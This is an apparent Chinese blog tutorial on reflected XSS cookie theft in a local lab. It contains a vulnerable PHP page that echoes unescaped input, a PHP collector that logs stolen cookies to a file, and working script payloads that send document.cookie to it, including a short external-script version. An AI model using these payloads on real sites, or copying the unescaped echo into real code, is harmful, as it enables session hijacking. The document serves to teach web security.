反射型xss获取cookie(本地实现)

憨球,看这个
https://www.cnblogs.com/yuzly/p/10692449.html
里面的payload,差不多都试过了,稳得很。
xss就看这个了

1.最简单的反射性xss获取cookie

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    
     
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 
?>

在这里插入图片描述
。好啦,这就反弹了。走了。
。。。
玩笑啦,还有如何发送到我们的服务器上面呢

漏洞页面只要又xss漏洞就好,比如上面那个就行

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    
     
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 
?>

然后 获取cookie的php代码是

getCookie.php

获取get传入的cookie参数。
<?php
$cookie = $_GET['cookie'];
echo $cookie;
$log = fopen("cookie.txt", "w");
fwrite($log, $cookie ."\n");
fclose($log);
 将cookie写入本地的一个txt文件中
?> 

所以我们的注入的xss代码就是:

?name=<script>document.location='http://localhost/xssTesting/getCookie.php?cookie='+document.cookie;</script>

注意!!!!

shellcode里面cookie和原始url连接的时候,用的是+。
然而在浏览器的地址栏里,+可能被解析成空格。
所以我们需要把+替换成url编码%2b。

?name=<script>document.location='http://localhost/xssTesting/getCookie.php?cookie='%2bdocument.cookie;</script>

在这里插入图片描述
在这里插入图片描述

2.当限制输入长度的时候,可以用那篇文章中的加载外部js的那个,那个比较短,

就是这个:payload

<script src=http://localhost/j.js></script>

j.js的内容是:

var img = new Image();
img.src='http://localhost/xssTesting/getCookie.php?cookie='+document.cookie;

这个访问的php文件和上面那个一样的。内容没变。

我在网站的根目录下有个 j.js的文件,
在这里插入图片描述
然后这里dvwa一访问,调用外部js文件,就将信息发送给getcookie.php了,然后这个PHP脚本就会将信息写入本地的一个txt文件中,就可以看到cookie了
在这里插入图片描述
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/113836704